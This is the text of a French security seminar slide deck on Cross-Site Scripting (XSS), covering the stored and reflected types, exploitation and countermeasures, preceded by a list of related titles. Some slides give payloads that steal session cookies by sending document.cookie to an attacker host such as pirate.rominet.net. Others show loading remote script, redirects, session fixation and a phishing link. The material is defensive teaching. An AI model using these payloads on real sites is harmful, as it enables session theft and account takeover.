Failles XSS : Principes, Catégories Démonstrations, Contre mesures



Documents pareils
Cross Site Scripting et Phishing

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

Failles des applications Web. Ce document est extrait du travail de diplôme de M. DIZON dans l état.

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Vulnérabilités et solutions de sécurisation des applications Web

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

HTTP HTTP. IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin. Introduction et architecture Messages Authentification Conclusion

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

Les risques HERVE SCHAUER HSC

Les sites Internet dynamiques. contact : Patrick VINCENT pvincent@erasme.org

Gilles.Roussel univ-mlv.fr HTTP/1.1 RFC 2068

Vulnérabilités et sécurisation des applications Web

\ \ / \ / / \/ ~ \/ _ \\ \ ` \ Y ( <_> ) \ / /\ _ / \ / / \/ \/ \/ Team

Application Web et J2EE

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

HTTP. Technologies du Web. Programmation Web côté serveur. Mastère spécialisé Management et nouvelles technologies, 16 novembre 2009

Développement des Systèmes d Information

Attaques applicatives

Introduction. PHP = Personal Home Pages ou PHP Hypertext Preprocessor. Langage de script interprété (non compilé)

Protection des protocoles

Technologies Web. Ludovic Denoyer Sylvain Lamprier Mohamed Amine Baazizi Gabriella Contardo Narcisse Nya. Université Pierre et Marie Curie

Module BD et sites WEB

Autour du web. Une introduction technique Première partie : HTML. Georges-André SILBER Centre de recherche en informatique MINES ParisTech

Protocoles Applicatifs

WebSSO, synchronisation et contrôle des accès via LDAP

La mémorisation des mots de passe dans les navigateurs web modernes

INF8007 Langages de script

Attaques de type. Brandon Petty

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons Jérémie Jourdin

Catalogue des Formations Techniques

Petite définition : Présentation :

Installation d un serveur HTTP (Hypertext Transfer Protocol) sous Débian 6

Programmation Web. Madalina Croitoru IUT Montpellier

L3 informatique TP n o 2 : Les applications réseau

webmestre : conception de sites et administration de serveurs web 42 crédits Certificat professionnel CP09

Outils de traitements de logs Apache

Sommaire Accès via un formulaire d'identification... 4 Accès en mode SSO... 5 Quels Identifiant / mot de passe utiliser?... 6

Dans l'épisode précédent

Sécurité des applications Retour d'expérience

les techniques d'extraction, les formulaires et intégration dans un site WEB

Serveurs de noms Protocoles HTTP et FTP

Langage HTML (2 partie) <HyperText Markup Language> <tv>lt La Salle Avignon BTS IRIS</tv>

Activité sur Meteor. Annexe 1 : notion de client-serveur et notion de base de données

Diffuser un contenu sur Internet : notions de base... 13

Types MIME (2) Typage des ressources Internet. Les URI. Syntaxe dans les URI. Possibilité de spécifier un paramètre du sous-type

NFA016 : Introduction. Pour naviguer sur le Web, il faut : Naviguer: dialoguer avec un serveur web

Devenez un véritable développeur web en 3 mois!

INFORMATIQUE & WEB. PARCOURS CERTIFICAT PROFESSIONNEL Programmation de sites Web. 1 an 7 MODULES. Code du diplôme : CP09

FORMATION / CREATION DE SITE WEB / 4 JOURNEES Sessions Octobre 2006

Formation Webmaster : Création de site Web Initiation + Approfondissement

Formation en Logiciels Libres. Fiche d inscription

Les rootkits navigateurs

Avant-propos 1. Avant-propos Organisation du guide À qui s'adresse ce guide?...4

TP JEE Développement Web en Java. Dans ce TP nous commencerons la programmation JEE par le premier niveau d une application JEE : l application web.

The Mozilla Art Of War. David Teller. 20 septembre Laboratoire d Informatique Fondamentale d Orléans. La sécurité des extensions.

Programmation Web. Introduction

Supplément de renseignements : Examens d applications et pare-feux d applications web clarifiés Normes : Normes en matière de sécurité des données de

Jérôme FESSY. IUT de Paris 5. Base de Données. Cours Introductif. Base de Données

<Insert Picture Here>ApExposé. Cédric MYLLE 05 Février Exposé Système et Réseaux : ApEx, Application Express d Oracle

Utilisation de Jakarta Tomcat

TIC. Réseau informatique. Historique - 1. Historique - 2. TC - IUT Montpellier Internet et le Web

Dispositif e-learning déployé sur les postes de travail

Bases de données et Interfaçage Web

JRES 2005 : La mémorisation des mots de passe dans les navigateurs web modernes

1 Introduction Propos du document Introduction De HTTP 1.0 à HTTP

Gestion d identités PSL Exploitation IdP Authentic

Hébergement de site web Damien Nouvel

COMPÉTENCES TECHNIQUES

TELECOM Lille Option SRS Fabien VINCENT

Sécuriser les applications web de l entreprise

ASP.NET MVC 4 Développement d'applications Web en C# - Concepts et bonnes pratiques

POVERELLO KASONGO Lucien SIO 2, SISR SITUATION PROFESSIONNELLE OCS INVENTORY NG ET GLPI

Survol des nouveautés

JAB, une backdoor pour réseau Win32 inconnu

FileMaker Server 11. Publication Web personnalisée avec XML et XSLT

Gestion des identités

WEB & DÉVELOPPEMENT LES BASES DU WEB LE LANGAGE HTML FEUILLES DE STYLES CSS HISTORIQUE D INTERNET ET DU WEB LES DIFFÉRENTS LANGAGES

Architectures web/bases de données

Création d un «Web Worm»

Les solutions de paiement CyberMUT (Crédit Mutuel) et CIC. Qui contacter pour commencer la mise en place d une configuration de test?

Serveur d'application Client HTML/JS. Apache Thrift Bootcamp

Optimiser les performances d un site web. Nicolas Chevallier Camille Roux

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

Syfadis. > Configuration du poste client. Nous vous aidons à réussir. REFERENCE : Syfadis LMS - 12/09/2008. AUTEUR : Equipe technique Syfadis

PHP 5.4 Développez un site web dynamique et interactif

Etude de la pertinence et de l'intérêt des appliances WAF (IPS web) à l'inria

OZSSI NORD 4 JUIN LILLE. Conférence thématique: Sécurité des applications

DenyAll Protect. Sécurité & accélération. Parefeux pour applications et services Web. de vos applications.

Atelier Le gestionnaire de fichier

Architecture existante (principale)

Catalogue Formations Jalios

Les grandes facettes du développement Web Nicolas Thouvenin - Stéphane Gully

Magento. Magento. Réussir son site e-commerce. Réussir son site e-commerce BLANCHARD. Préface de Sébastien L e p e r s

TP JAVASCRIPT OMI4 TP5 SRC

A5.2.4 Étude d une technologie, d'un composant, d'un outil

Cloud public d Ikoula Documentation de prise en main 2.0

Transcription:

HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet Séminaire 15 ans HSC Failles XSS : Principes, Catégories Démonstrations, Contre mesures Alain Thivillon Alain Thivillon <Alain.Thivillon@hsc.fr>

Plan Rappels Modèle de fonctionnement du W eb Mécanismes de sécurité des codes mobiles Cross-Site Scripting par stockage par réflexion Exploitations Insertion de tags HTML Redirections Vol de sessions (cookies, referer,...) Fixation de session Contre-mesures 2 / 20

Rappel fonctionnement Web Rappel : HTML est un langage Un navigateur est un interpréteur Analogie : Imprimante Postscript, Terminal VT (séquences escapes) ou graphique (old Tektronix) Le code à exécuter est envoyé par le serveur via le protocole HTTP Informations dans l'entête (cookies, type de document, status,...) Corps du document : "tags" HTML (exemple <BODY> <IMG>...) Extensions dynamiques : JavaScript, DHTML Interaction entre le document et le navigateur Génération dynamique de la page coté client tag <SCRIPT> et attributs de type Onload, OnClick... 3 / 20

Exemple HTTP # socat - tcp4:127.0.0.1:80 GET /app1/auth.php HTTP/1.0 Host: localhost.hsc.fr HTTP/1.1 200 OK Date: Fri, 14 May 2004 08:20:11 GMT Server: Apache/2.0.49 (Gentoo/Linux) PHP/4.3.6RC2 X-Powered-By: PHP/4.3.6RC2 Set-Cookie: PHPSESSID=849c32ddc88c288f9ec78c9d392e0734; path=/ Connection: close Content-Type: text/html; charset=iso-8859-1 <HTML><Title>Auth Page</Title> <BODY BGCOLOR="white"> <FORM METHOD="POST">Login <input type="text" name="login" length=10 maxlength=10><br> Pass <input type="password" name="pass" length=10 maxlength=10><br> <input type="submit" name="ok" value="login"><br> </FORM> </BODY></HTML> 4 / 20

Mécanismes JavaScript Que peut faire le langage? Composer la page (document.write) Récupérer des informations sur le document (document.cookie, document.location,..) Charger une autre page (document.location =...) Popups,... Mécanismes de sécurité Les propriétés du document ne sont pas visibles par d'autres serveurs. Exemple : une frame chargée depuis le serveur A ne peut pas lire les propriétés d'une autre chargée depuis le serveur B Le code JavaScript ne peut pas lire, modifier les préférences ou le disque de l'utilisateur. Extensions Microsoft "Active Scripting" : zones de sécurité 5 / 20

Cross Site Scripting XSS (différent de CSS == Cascading Style Sheet) Insertion non prévue de code HTML ou JavaScript dans la page envoyée par le serveur Exécution de ce code par le navigateur dans le contexte de sécurité du document envoyé par le serveur Attaque par injection de code sur le navigateur du client via le serveur Trois participants: L'attaquant : introduit le code sur le serveur. Le serveur : envoie la page contenant le code à la victime. La victime : exécute le code introduit par l'attaquant. Deux méthodes pour injecter le code: Stockage par le serveur Page générée à partir de paramètres 6 / 20

XSS par stockage L'attaquant envoie le code au serveur (exemple, dans un forum Web) Le serveur le stocke Et l'envoie tel quel au client lors de la génération et la visualisation de la page... POST /newart.php Host: www.communaute.com Content-Type: multipart/form-data subject=vds%20palm%20pas%20cher& texte=<script>alert("coucou!")</script> <body> <h2>vds Palm pas cher</h2><br> <hr> <script>alert("coucou!")</script> </body> GET /article.php?id=9081 Host: www.communaute.com 7 / 20

XSS par "réflexion" Utilisation d'une page paramétrée Exemple http://www.serveur.com/erreur.jsp?msg=<h3>texte</h3> Affichage de la variable msg par le serveur Envoi de l'url via un Email ou un serveur de type tinyurl.com ou minilien.com <body> <h4>erreur:</h4><br> <script>alert("coucou!")</script> </body> From: pirate@hotmail.com To: user@grosse-societe.fr Subject: Un site sympa <html> Coucou, Regarde ce <a href= "http://www.serveur.com/erreur.jsp?msg= <script>alert("coucou!');</script>">site! </a> <html> GET /erreur.jsp?msg=<script>alert ("Coucou!');</script> Host: www.serveur.com 8 / 20

Exploitation - 1 Insertion de tags HTML En particulier de tags <IMG SRC=http://www.serveurXXX.com/image.jpg> Dégradation de l'image Forums pollués, masquage de la fin de la page 9 / 20

Exploitation - 2 Redirection automatique vers un autre site: <script>document.location="http://www.hsc.fr/"</script> Rend inutilisable la page générée L'utilisateur ne comprend pas la manipulation Recupération du Referer (page précédente) dans les journaux du serveur W eb de l'attaquant: 127.0.0.1 - - [14/May/2004:15:54:24 +0200] "GET / HTTP/1.1" 200 - "http://localhost.hsc.fr/app1/article.php?id=15" "Mozilla/5.0 (X11; U; Linux i686; en-us; rv:1.6) Gecko/20040207 Firefox/0.8" Utilisation de scripts plus complexes, avec récupération du source sur le serveur de l'attaquant: <script src="http://www.attaquant.com/a.js"></script> Contraintes de longueur contournées 10 / 20

Exploitation - 3 Récupération des identifiants de session Dans un cookie Ou dans l'url Le but est de les faire apparaitre dans les journaux d'un serveur sous le contrôle de l'attaquant Exemple de code utilisant document.write : <script> document.write( '<IMG SRC = "http://pirate.rominet.net/rominet.gif?' + 'location=' + document.location + '&cookie='+ document.cookie + '">'); </script> L'image appelée est : http://pirate.rominet.net/rominet.gif?location=http://site.com/page.j sp&cookie=jsessionid=01919198181101afr 11 / 20

Exploitation - 4 Fixation de session Principe : utiliser un XSS afin d'imposer un cookie connu à la victime Schéma: L'attaquant se connecte sur le serveur en mode anonyme Il reçoit un cookie de session (ex JSP ou PHP) Il utilise un XSS sur un serveur du même domaine pour fixer le cookie chez la victime (via le code JavaScript de type document.cookie="phpsessionid=78191;domain=.site.fr" Il attend que la victime s'authentifie sur le serveur. Si celui ci est mal programmé (exemple sessions J2EE), le cookie sera accepté. L'attaquant posséde alors un cookie de session authentifié valide qu'il peut utiliser en parallèle avec la victime Attaque de niveau 2, peu utilisée 12 / 20

Exploitation - 5 transaction.site.fr www.site.fr GET / HTTP/1.0 Host: transaction.banque.fr Set-Cookie: JSESSIONID=123456879 POST /auth.class HTTP/1.0 Host: transaction.banque.fr Cookie: JSESSIONID=123456789 login=user&pass=monpass <a href=http://www.site.fr/err.jsp?msg= <script>document.cookie="jsessionid=12345689; domaine=.site.fr"</script> JSESSIONID=123456789;domaine=.site.fr 13 / 20

Démos! Application PHP spécialement mal foutue Deux serveurs Web sur la machine : http://mauvais-site.hsc.fr/ : Site «Victime» : forum authentifié, gestion de la session par cookie PHP, moteur de recherche http://pirate.rominet.net/ : Site de l'attaquant qui va récupérer les cookies via une faille XSS. Quelques types de XSS présentés Stockage dans le sujet des articles Stockage dans le corps Moteur de recherche Visualisation des logs, récupération des cookies et vol de la session 14 / 20

Contre-mesures (1) Idée la plus commune : Filtrer les entrées Supprimer <script> </script> ne règle pas tout (IMG, <%00script>,...) Il y a d'autres manières de générer du code dynamique (OnLoad, OnClick, IFRAME,...) Il faut donc être très strict dans ce qui est accepté, et comparer les entrées par rapport à une expression régulière de type [a-za-z0-9]+ Est-on sûr que le Web est la seule entrée de l'application? Minitel? Wap Flux XML? Est-on sûr que le Web est la seule sortie de l'application? XML (RSS, W ebapps) PostScript 15 / 20

Contre-mesures (2) Wap Html Xml Browser PostScript Minitel XML (WebApps) 16 / 20

Contre-mesures (3) Il faut convertir les données en sortie Systématisation Ne dépend plus des entrées ni du contenu des bases de données Selon le langage PHP : htmlentities() Perl : escapehtml()dans CGI.pm J2EE : utilisation des taglibs ou des classes javax.swing.text.html ASP : HtmlEncode() Limites de cette approche Insertion de tags HTML limités Nécessite donc parfois un parsing et stockage de données structurées Librairies de «W ashing» (http://linux.duke.edu/projects/mini/htmlfilter/) 17 / 20

Contre mesures (4) Utilisation de modèles de haut niveau STRUTS Librairies PEAR en PHP Modèles MVC Attention aux bugs dans les serveurs eux même Multiples exemples dans Apache, TomCat, IIS, W ebsphere,... En général dans les pages d'erreurs Se tenir à jour Gestion sécurisée des cookies Une session anonyme ne doit pas être réutilisée Utilisation du marquage «secure» et «not for javascript» des cookies Selon le langage ça peut être difficile 18 / 20

Conclusions Les problèmes de XSS concernent la majorité des applications Web C'est parfois considéré comme un problème résiduel Impacts pourtant potentiellement graves Attention : un XSS sur une partie d'un domaine peut impacter l'ensemble des sites Solutions Former les développeurs! Penser «globalement» aux problèmes de validation des données Utiliser des technologies qui réduisent les risques Faire auditer les applications (audit de code ou audit intrusif aveugle) 19 / 20

Références CERT Advisory CA-2000-02 : http://www.cert.org/advisories/ca-2000-02.html XSS Holes http://www.perl.com/pub/a/2002/02/20/css.html Filtrer les entrées : http://www.cert.org/tech_tips/cgi_metacharacters.html Guides OWASP : Top Ten Web Vulnérabilities : http://prdownloads.sourceforge.net/owasp/owasptopten2004.pdf XSS Faq: http://www.cgisecurity.com/articles/xss-faq.shtml Real World XSS : http://sandsprite.com/sleuth/papers/realworld_xss_1.html 20 / 20